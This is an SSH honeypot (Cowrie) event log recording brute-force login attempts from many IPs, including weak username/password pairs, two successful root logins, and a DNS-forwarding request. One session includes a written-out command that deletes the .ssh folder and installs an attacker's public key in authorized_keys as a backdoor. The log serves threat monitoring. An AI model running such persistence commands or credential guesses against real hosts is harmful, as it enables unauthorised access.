{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:58.695564Z","src_ip":"101.36.108.125","session":"33f8449e4734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:58.909066Z","src_ip":"101.36.108.125","session":"33f8449e4734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ekp","password":"ekp123!","message":"login attempt [ekp/ekp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:59.796567Z","src_ip":"101.36.108.125","session":"33f8449e4734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:17:01.012315Z","src_ip":"101.36.108.125","session":"33f8449e4734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":57386,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4f7cd419e3c","protocol":"ssh","message":"New connection: 165.154.22.233:57386 (10.17.0.5:22) [session: f4f7cd419e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:17:02.302992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:17:02.308307Z","src_ip":"165.154.22.233","session":"f4f7cd419e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:17:02.535196Z","src_ip":"165.154.22.233","session":"f4f7cd419e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhenshan","password":"123456","message":"login attempt [zhenshan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:17:03.441530Z","src_ip":"165.154.22.233","session":"f4f7cd419e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:17:04.661178Z","src_ip":"165.154.22.233","session":"f4f7cd419e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":39900,"dst_ip":"10.17.0.5","dst_port":22,"session":"c580687254ea","protocol":"ssh","message":"New connection: 170.238.160.191:39900 (10.17.0.5:22) [session: c580687254ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:17:14.291276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:17:14.295976Z","src_ip":"170.238.160.191","session":"c580687254ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:17:14.404668Z","src_ip":"170.238.160.191","session":"c580687254ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vadim","password":"Vadim123","message":"login attempt [vadim/Vadim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:17:14.894349Z","src_ip":"170.238.160.191","session":"c580687254ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:17:16.005840Z","src_ip":"170.238.160.191","session":"c580687254ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":39052,"dst_ip":"159.203.135.109","dst_port":22,"session":"e20df11354ef","protocol":"ssh","message":"New connection: 2.57.122.210:39052 (159.203.135.109:22) [session: e20df11354ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:11.537971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:11.542394Z","src_ip":"2.57.122.210","session":"e20df11354ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:11.645832Z","src_ip":"2.57.122.210","session":"e20df11354ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ubuntu","message":"login attempt [sol/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:11.956259Z","src_ip":"2.57.122.210","session":"e20df11354ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":64454,"dst_ip":"10.17.0.5","dst_port":22,"session":"acffa1f3e835","protocol":"ssh","message":"New connection: 37.77.150.119:64454 (10.17.0.5:22) [session: acffa1f3e835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:13.029129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:13.033847Z","src_ip":"37.77.150.119","session":"acffa1f3e835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:13.061558Z","src_ip":"2.57.122.210","session":"e20df11354ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:13.170506Z","src_ip":"37.77.150.119","session":"acffa1f3e835","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:13.577653Z","src_ip":"37.77.150.119","session":"acffa1f3e835","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:13.716606Z","session":"acffa1f3e835","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:13.853951Z","src_ip":"37.77.150.119","session":"acffa1f3e835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:13.991881Z","src_ip":"37.77.150.119","session":"acffa1f3e835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.250.191.201","src_port":43674,"dst_ip":"10.17.0.5","dst_port":22,"session":"902f4fd8153f","protocol":"ssh","message":"New connection: 130.250.191.201:43674 (10.17.0.5:22) [session: 902f4fd8153f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:19.040957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:19.045358Z","src_ip":"130.250.191.201","session":"902f4fd8153f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:19.334147Z","src_ip":"130.250.191.201","session":"902f4fd8153f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"secretpassxd","message":"login attempt [root/secretpassxd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:20.375053Z","src_ip":"130.250.191.201","session":"902f4fd8153f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:20.984839Z","src_ip":"130.250.191.201","session":"902f4fd8153f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:20.987851Z","src_ip":"130.250.191.201","session":"902f4fd8153f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:20.991263Z","src_ip":"130.250.191.201","session":"902f4fd8153f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:21.246581Z","src_ip":"130.250.191.201","session":"902f4fd8153f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:21.783576Z","src_ip":"130.250.191.201","session":"902f4fd8153f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:21.786923Z","src_ip":"130.250.191.201","session":"902f4fd8153f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:22.043912Z","src_ip":"130.250.191.201","session":"902f4fd8153f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:22.047947Z","src_ip":"130.250.191.201","session":"902f4fd8153f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.250.191.201","src_port":43680,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb4124bde429","protocol":"ssh","message":"New connection: 130.250.191.201:43680 (10.17.0.5:22) [session: cb4124bde429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:22.291503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:22.295938Z","src_ip":"130.250.191.201","session":"cb4124bde429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:22.547814Z","src_ip":"130.250.191.201","session":"cb4124bde429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:23.598813Z","src_ip":"130.250.191.201","session":"cb4124bde429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:24.853535Z","src_ip":"130.250.191.201","session":"cb4124bde429","protocol":"ssh"}
